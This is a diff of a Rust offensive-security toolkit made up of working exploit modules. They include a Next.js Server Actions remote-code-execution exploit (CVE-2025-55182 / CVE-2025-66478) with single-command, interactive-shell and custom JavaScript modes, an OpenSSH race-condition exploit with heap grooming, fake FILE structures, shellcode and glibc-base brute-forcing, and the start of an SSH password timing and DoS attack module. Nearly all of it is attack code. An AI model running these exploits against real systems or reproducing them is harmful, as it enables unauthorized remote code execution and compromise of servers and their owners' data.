if let Some(encoded) = cap.get(1) {
|
||||
let encoded_str = encoded.as_str();
|
||||
match decode_base64_output(encoded_str) {
|
||||
Ok(decoded) => {
|
||||
let match_start = cap.get(0).unwrap().start();
|
||||
let match_end = cap.get(0).unwrap().end();
|
||||
|
||||
matches.push(Match {
|
||||
location: format!("Body Line {}", line_num + 1),
|
||||
full_line: if line.len() > 200 {
|
||||
format!("{}...", &line[..200])
|
||||
} else {
|
||||
line.to_string()
|
||||
},
|
||||
matched_text: cap.get(0).unwrap().as_str().to_string(),
|
||||
encoded_output: encoded_str.to_string(),
|
||||
decoded_output: decoded.clone(),
|
||||
context: highlight_text(line, match_start, match_end, config.use_color),
|
||||
});
|
||||
}
|
||||
Err(e) => {
|
||||
if config.verbose {
|
||||
eprintln!("{}", format!("[!] Decoding error: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check response headers
|
||||
for (header_name, header_str) in &response_headers {
|
||||
for cap in pattern.captures_iter(header_str) {
|
||||
if let Some(encoded) = cap.get(1) {
|
||||
let encoded_str = encoded.as_str();
|
||||
match decode_base64_output(encoded_str) {
|
||||
Ok(decoded) => {
|
||||
let match_start = cap.get(0).unwrap().start();
|
||||
let match_end = cap.get(0).unwrap().end();
|
||||
|
||||
matches.push(Match {
|
||||
location: format!("Header: {}", header_name),
|
||||
full_line: header_str.clone(),
|
||||
matched_text: cap.get(0).unwrap().as_str().to_string(),
|
||||
encoded_output: encoded_str.to_string(),
|
||||
decoded_output: decoded.clone(),
|
||||
context: highlight_text(header_str, match_start, match_end, config.use_color),
|
||||
});
|
||||
}
|
||||
Err(e) => {
|
||||
if config.verbose {
|
||||
eprintln!("{}", format!("[!] Decoding error: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If no matches found, try alternative payload with id command
|
||||
if matches.is_empty() && payload_type != "id" {
|
||||
if config.verbose {
|
||||
println!("{}", " No 'login?a=' pattern found, trying alternative payload...".yellow());
|
||||
}
|
||||
|
||||
let alt_payload = create_payload_base64("id");
|
||||
let alt_body = format!(
|
||||
"{}\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{}\r\n{}\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n{}\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n{}--",
|
||||
BOUNDARY, alt_payload, BOUNDARY, BOUNDARY, BOUNDARY
|
||||
);
|
||||
|
||||
let mut alt_request = client.post(url)
|
||||
.header("Host", &host)
|
||||
.header("Content-Type", format!("multipart/form-data; boundary={}", BOUNDARY_HEADER))
|
||||
.header("Next-Action", "x")
|
||||
.header("User-Agent", user_agent);
|
||||
|
||||
for (key, value) in &config.custom_headers {
|
||||
alt_request = alt_request.header(key, value);
|
||||
}
|
||||
|
||||
if let Ok(alt_response) = alt_request.body(alt_body).send().await {
|
||||
let alt_text = alt_response.text().await.unwrap_or_default();
|
||||
|
||||
for (line_num, line) in alt_text.lines().enumerate() {
|
||||
for cap in pattern.captures_iter(line) {
|
||||
if let Some(encoded) = cap.get(1) {
|
||||
let encoded_str = encoded.as_str();
|
||||
if let Ok(decoded) = decode_base64_output(encoded_str) {
|
||||
let match_start = cap.get(0).unwrap().start();
|
||||
let match_end = cap.get(0).unwrap().end();
|
||||
|
||||
matches.push(Match {
|
||||
location: format!("Body Line {} (Alternative Payload)", line_num + 1),
|
||||
full_line: if line.len() > 200 {
|
||||
format!("{}...", &line[..200])
|
||||
} else {
|
||||
line.to_string()
|
||||
},
|
||||
matched_text: cap.get(0).unwrap().as_str().to_string(),
|
||||
encoded_output: encoded_str.to_string(),
|
||||
decoded_output: decoded,
|
||||
context: highlight_text(line, match_start, match_end, config.use_color),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Create combined output
|
||||
let combined_output = matches
|
||||
.iter()
|
||||
.filter(|m| !m.decoded_output.contains("[Decoding error"))
|
||||
.map(|m| m.decoded_output.as_str())
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
|
||||
Ok(ExploitResult {
|
||||
url: url.to_string(),
|
||||
status: Some(status),
|
||||
matches,
|
||||
response_headers,
|
||||
response_body: response_text,
|
||||
request_headers,
|
||||
custom_command: custom_command.map(|s| s.to_string()),
|
||||
error: None,
|
||||
combined_output,
|
||||
})
|
||||
}
|
||||
|
||||
/// Main entry point - matches framework signature
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
// Normalize target URL
|
||||
let mut base_url = target.trim().to_string();
|
||||
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||
base_url = format!("http://{}", base_url);
|
||||
}
|
||||
let base_url = base_url.trim_end_matches('/').to_string();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", base_url).yellow());
|
||||
|
||||
// Build configuration
|
||||
let mut config = ExploitConfig::default();
|
||||
config.target = base_url.clone();
|
||||
|
||||
// Prompt for advanced options
|
||||
config.verbose = prompt_yes_no("Verbose mode", false)?;
|
||||
config.verify_ssl = !prompt_yes_no("Skip SSL verification", false)?;
|
||||
config.random_agent = prompt_yes_no("Use random User-Agent", false)?;
|
||||
|
||||
let timeout_str = prompt_default("Timeout (seconds)", "30")?;
|
||||
config.timeout = timeout_str.parse().unwrap_or(30);
|
||||
|
||||
// Proxy support
|
||||
let use_proxy = prompt_yes_no("Use proxy", false)?;
|
||||
if use_proxy {
|
||||
let proxy_url = prompt("Proxy URL (e.g., http://127.0.0.1:8080)")?;
|
||||
if !proxy_url.is_empty() {
|
||||
config.proxy = Some(proxy_url);
|
||||
}
|
||||
}
|
||||
|
||||
// Custom headers
|
||||
let use_custom_headers = prompt_yes_no("Add custom headers", false)?;
|
||||
if use_custom_headers {
|
||||
loop {
|
||||
let header_input = prompt("Custom header (format: Header: Value, or 'done' to finish)")?;
|
||||
if header_input == "done" || header_input.is_empty() {
|
||||
break;
|
||||
}
|
||||
if let Some(colon_pos) = header_input.find(':') {
|
||||
let key = header_input[..colon_pos].trim().to_string();
|
||||
let value = header_input[colon_pos + 1..].trim().to_string();
|
||||
if !key.is_empty() && !value.is_empty() {
|
||||
config.custom_headers.push((key, value));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build HTTP client
|
||||
let mut client_builder = Client::builder()
|
||||
.timeout(Duration::from_secs(config.timeout))
|
||||
.danger_accept_invalid_certs(!config.verify_ssl);
|
||||
|
||||
if let Some(proxy_url) = &config.proxy {
|
||||
let proxy = reqwest::Proxy::all(proxy_url)
|
||||
.context("Failed to create proxy")?;
|
||||
client_builder = client_builder.proxy(proxy);
|
||||
}
|
||||
|
||||
let client = client_builder.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Prompt for mode
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
println!(" 1. Vulnerability Detection (quick check)");
|
||||
println!(" 2. Execute Single Command");
|
||||
println!(" 3. Interactive Shell");
|
||||
println!(" 4. Custom RCE Payload");
|
||||
println!();
|
||||
|
||||
print!("{}", "Mode [1-4]: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut mode_input = String::new();
|
||||
io::stdin().read_line(&mut mode_input)?;
|
||||
let mode = mode_input.trim();
|
||||
|
||||
match mode {
|
||||
"1" => {
|
||||
println!("{}", "[*] Checking for vulnerability...".cyan());
|
||||
match check_vulnerability(&client, &base_url, &config).await {
|
||||
Ok(true) => {
|
||||
println!("{}", "[+] Target is VULNERABLE!".red().bold());
|
||||
println!("{}", "[+] CVE-2025-55182 / CVE-2025-66478 confirmed".red().bold());
|
||||
}
|
||||
Ok(false) => {
|
||||
println!("{}", "[-] Target does not appear to be vulnerable.".green());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error checking vulnerability: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
"2" => {
|
||||
println!();
|
||||
println!("{}", "Select RCE payload type:".yellow().bold());
|
||||
println!(" 1. whoami (default)");
|
||||
println!(" 2. id");
|
||||
println!(" 3. pwd");
|
||||
println!(" 4. uname -a");
|
||||
println!(" 5. ls -la");
|
||||
println!(" 6. ps aux");
|
||||
println!(" 7. Custom command");
|
||||
println!();
|
||||
|
||||
let payload_choice = prompt_default("Payload type [1-7]", "1")?;
|
||||
|
||||
let (payload_type, custom_cmd) = match payload_choice.as_str() {
|
||||
"1" => ("whoami", None),
|
||||
"2" => ("id", None),
|
||||
"3" => ("pwd", None),
|
||||
"4" => ("uname", None),
|
||||
"5" => ("ls", None),
|
||||
"6" => ("ps", None),
|
||||
"7" => {
|
||||
let cmd = prompt("Custom command to execute")?;
|
||||
if cmd.is_empty() {
|
||||
return Err(anyhow!("Command cannot be empty"));
|
||||
}
|
||||
("custom_cmd", Some(cmd))
|
||||
}
|
||||
_ => ("whoami", None),
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing payload: {}", payload_type).cyan());
|
||||
match execute_command_with_payload(&client, &base_url, payload_type, custom_cmd.as_deref(), None, &config).await {
|
||||
Ok(result) => {
|
||||
print_results(&result, &config);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error executing command: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
"3" => {
|
||||
interactive_shell(&client, &base_url, &config).await?;
|
||||
}
|
||||
"4" => {
|
||||
println!();
|
||||
println!("{}", "Custom RCE Payload Mode".yellow().bold());
|
||||
println!("{}", "Enter custom JavaScript code to execute on the target".cyan());
|
||||
println!("{}", "Example: var res=process.mainModule.require('child_process').execSync('id').toString();".dimmed());
|
||||
println!();
|
||||
|
||||
let custom_js = prompt("Custom JavaScript code")?;
|
||||
if custom_js.is_empty() {
|
||||
return Err(anyhow!("JavaScript code cannot be empty"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Executing custom JavaScript payload...").cyan());
|
||||
match execute_command_with_payload(&client, &base_url, "custom_js", None, Some(&custom_js), &config).await {
|
||||
Ok(result) => {
|
||||
print_results(&result, &config);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error executing custom payload: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
return Err(anyhow!("Invalid mode selected"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_payload_creation() {
|
||||
let payload = create_payload_base64("whoami");
|
||||
assert!(payload.contains("whoami"));
|
||||
assert!(payload.contains("base64"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_decode_base64() {
|
||||
let encoded = "dGVzdAo="; // "test\n" in base64
|
||||
let decoded = decode_base64_output(encoded).unwrap();
|
||||
assert_eq!(decoded, "test\n");
|
||||
}
|
||||
}
|
||||
@@ -1,12 +1,29 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_exploit against target: {}", target);
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Exploit Module - Demonstration ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let url = format!("http://{}/vulnerable_endpoint", target);
|
||||
let resp = reqwest::get(&url)
|
||||
println!("{}", format!("[*] Checking: {}", url).cyan());
|
||||
|
||||
let resp = client
|
||||
.get(&url)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send request")?
|
||||
.text()
|
||||
@@ -14,9 +31,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to read response")?;
|
||||
|
||||
if resp.contains("Vulnerable!") {
|
||||
println!("[+] Target is vulnerable!");
|
||||
println!("{}", "[+] Target is vulnerable!".green().bold());
|
||||
} else {
|
||||
println!("[-] Target does not appear to be vulnerable.");
|
||||
println!("{}", "[-] Target does not appear to be vulnerable.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1 +1,6 @@
|
||||
pub mod opensshserver_9_8p1race_condition;
|
||||
pub mod sshpwn_sftp_attacks;
|
||||
pub mod sshpwn_scp_attacks;
|
||||
pub mod sshpwn_session;
|
||||
pub mod sshpwn_auth_passwd;
|
||||
pub mod sshpwn_pam;
|
||||
|
||||
@@ -4,7 +4,7 @@ use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, timeout, Duration, Instant};
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::sync::Semaphore;
|
||||
use futures_util::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
@@ -33,22 +33,27 @@ fn chunk_align(s: usize) -> usize {
|
||||
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
|
||||
buf.fill(0);
|
||||
let len = buf.len();
|
||||
|
||||
if len > 0x30 + 8 {
|
||||
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
|
||||
}
|
||||
|
||||
if len >= 16 {
|
||||
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
|
||||
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
|
||||
}
|
||||
if len > 0x30 + 8 {
|
||||
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
|
||||
}
|
||||
}
|
||||
|
||||
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
|
||||
packet.fill(0);
|
||||
|
||||
packet[..8].copy_from_slice(b"ssh-rsa ");
|
||||
|
||||
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
|
||||
if shell_offset + SHELLCODE.len() <= packet.len() {
|
||||
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
|
||||
}
|
||||
|
||||
for i in 0..27 {
|
||||
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
|
||||
if pos + chunk_align(304) <= packet.len() {
|
||||
@@ -58,12 +63,13 @@ fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
|
||||
}
|
||||
|
||||
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
|
||||
let len = data.len() + 5;
|
||||
let mut packet_data = vec![0u8; len];
|
||||
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
|
||||
packet_data[4] = packet_type;
|
||||
packet_data[5..].copy_from_slice(data);
|
||||
stream.write_all(&packet_data).await?;
|
||||
let packet_len = (data.len() + 5) as u32;
|
||||
|
||||
stream.write_u32(packet_len).await?;
|
||||
stream.write_u8(packet_type).await?;
|
||||
stream.write_all(data).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -123,6 +129,7 @@ async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
|
||||
|
||||
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
|
||||
stream.flush().await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -167,65 +174,84 @@ async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
|
||||
}
|
||||
|
||||
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
|
||||
for i in 0..10 {
|
||||
for _ in 0..10 {
|
||||
let tcache_chunk = vec![b'A'; 64];
|
||||
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
|
||||
send_packet(stream, 5, &tcache_chunk).await?;
|
||||
}
|
||||
for i in 0..27 {
|
||||
|
||||
for _ in 0..27 {
|
||||
let large_hole = vec![b'B'; 8192];
|
||||
send_packet(stream, 5, &large_hole).await?;
|
||||
|
||||
let small_hole = vec![b'C'; 320];
|
||||
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
|
||||
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
|
||||
send_packet(stream, 5, &small_hole).await?;
|
||||
}
|
||||
for i in 0..27 {
|
||||
|
||||
for _ in 0..27 {
|
||||
let mut fake = vec![0u8; 4096];
|
||||
create_fake_file_structure(&mut fake, glibc_base);
|
||||
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
|
||||
send_packet(stream, 5, &fake).await?;
|
||||
}
|
||||
|
||||
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
|
||||
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
|
||||
send_packet(stream, 5, &large_fill).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
|
||||
let error_packet_data = if error_type == 1 {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
|
||||
let error_packet_data: &[u8] = if error_type == 1 {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
|
||||
} else {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
|
||||
};
|
||||
|
||||
let start = Instant::now();
|
||||
send_packet(stream, 50, &error_packet_data).await?;
|
||||
send_packet(stream, 50, error_packet_data).await?;
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
let _ = stream.read(&mut buf).await;
|
||||
let _ = recv_retry(stream, &mut buf).await;
|
||||
|
||||
Ok(start.elapsed().as_secs_f64())
|
||||
}
|
||||
|
||||
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
|
||||
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
|
||||
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
|
||||
Ok(t2 - t1)
|
||||
let t1 = measure_response_time(stream, 1).await?;
|
||||
let t2 = measure_response_time(stream, 2).await?;
|
||||
let parsing_time = t2 - t1;
|
||||
|
||||
Ok(parsing_time)
|
||||
}
|
||||
|
||||
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
|
||||
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
|
||||
create_public_key_packet(&mut public_key_packet_data, glibc_base);
|
||||
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
|
||||
|
||||
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
|
||||
if calculated_wait_time < 0.0 {
|
||||
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
|
||||
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
|
||||
create_public_key_packet(&mut final_packet, glibc_base);
|
||||
|
||||
let to_send = final_packet.len() - 1;
|
||||
stream.write_all(&final_packet[..to_send]).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
|
||||
if wait_time > 0.0 {
|
||||
sleep(Duration::from_secs_f64(wait_time)).await;
|
||||
}
|
||||
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
|
||||
sleep(wait_time_duration).await;
|
||||
|
||||
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
|
||||
let mut buf = [0u8; 1024];
|
||||
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
|
||||
Ok(Ok(0)) => Ok(true),
|
||||
|
||||
stream.write_all(&final_packet[to_send..]).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
let mut response = [0u8; 1024];
|
||||
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
|
||||
Ok(Ok(n)) if n == 0 => Ok(true),
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
Ok(Ok(_)) => Ok(false),
|
||||
Ok(Err(_)) => Ok(true),
|
||||
Err(_) => Ok(true), // Timeout might indicate success
|
||||
Err(_) => Ok(true),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -253,33 +279,9 @@ fn get_postex_command(action: u8) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
|
||||
|
||||
print_post_actions();
|
||||
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut choice_str = String::new();
|
||||
std::io::stdin().read_line(&mut choice_str).ok();
|
||||
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
|
||||
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
|
||||
match attempts_str.trim().parse::<usize>() {
|
||||
Ok(num) if num > 0 => {
|
||||
num_attempts_per_base = num;
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
let postex_cmd = get_postex_command(mode_choice);
|
||||
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
|
||||
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
|
||||
@@ -295,7 +297,6 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
|
||||
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
|
||||
|
||||
|
||||
for glibc_base_addr in glibc_bases {
|
||||
for attempt_num in 0..num_attempts_per_base {
|
||||
let ip_clone = target_ip.clone();
|
||||
@@ -305,25 +306,23 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
let mut stream = match setup_connection(&ip_clone, port_num).await {
|
||||
Ok(s) => s,
|
||||
Err(_e) => {
|
||||
return Ok(false);
|
||||
}
|
||||
Err(_) => return Ok(false),
|
||||
};
|
||||
|
||||
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
|
||||
if perform_ssh_handshake(&mut stream).await.is_err() {
|
||||
return Ok(false);
|
||||
}
|
||||
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
|
||||
|
||||
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
let parsing_time = match time_final_packet(&mut stream).await {
|
||||
Ok(pt) => pt,
|
||||
Err(_e) => {
|
||||
return Ok(false);
|
||||
}
|
||||
Err(_) => return Ok(false),
|
||||
};
|
||||
|
||||
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
|
||||
@@ -369,6 +368,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
}
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
Ok(false)
|
||||
}));
|
||||
}
|
||||
@@ -431,5 +432,29 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
execute_exploit_logic(ip_address, port_num).await
|
||||
}
|
||||
print_post_actions();
|
||||
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
|
||||
io::stdout().flush().ok();
|
||||
let mut choice_str = String::new();
|
||||
io::stdin().read_line(&mut choice_str).ok();
|
||||
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
|
||||
match attempts_str.trim().parse::<usize>() {
|
||||
Ok(num) if num > 0 => {
|
||||
num_attempts_per_base = num;
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
|
||||
}
|
||||
@@ -0,0 +1,565 @@
|
||||
//! SSHPWN Auth Password Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 auth2-passwd.c vulnerability analysis
|
||||
//!
|
||||
//! AUTH2-PASSWD VULNERABILITIES (auth2-passwd.c):
|
||||
//! - Password length not explicitly limited - potential DoS via long passwords (LOW)
|
||||
//! - Password change information disclosure - server fingerprinting (INFO)
|
||||
//! - Timing attack via mm_auth_password - user enumeration (MEDIUM)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::Write,
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - Auth Password Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH auth2-passwd.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Password Length DoS Test (sshpkt_get_cstring limit) ║".cyan());
|
||||
println!("{}", "║ 2. Password Change Information Leak ║".cyan());
|
||||
println!("{}", "║ 3. Auth Timing Attack (mm_auth_password) ║".cyan());
|
||||
println!("{}", "║ 4. Bcrypt Length Bypass Test (72-byte limit) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<(f64, bool, String)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Some((0.0, false, format!("Connect failed: {}", e))),
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Some((0.0, false, format!("Session failed: {}", e))),
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if let Err(e) = sess.handshake() {
|
||||
return Some((start.elapsed().as_secs_f64(), false, format!("Handshake failed: {}", e)));
|
||||
}
|
||||
|
||||
// Try authentication
|
||||
let auth_result = sess.userauth_password(username, password);
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
|
||||
match auth_result {
|
||||
Ok(_) => Some((elapsed, sess.authenticated(), "OK".to_string())),
|
||||
Err(e) => Some((elapsed, false, format!("{}", e))),
|
||||
}
|
||||
}
|
||||
|
||||
/// Password Length DoS Test
|
||||
///
|
||||
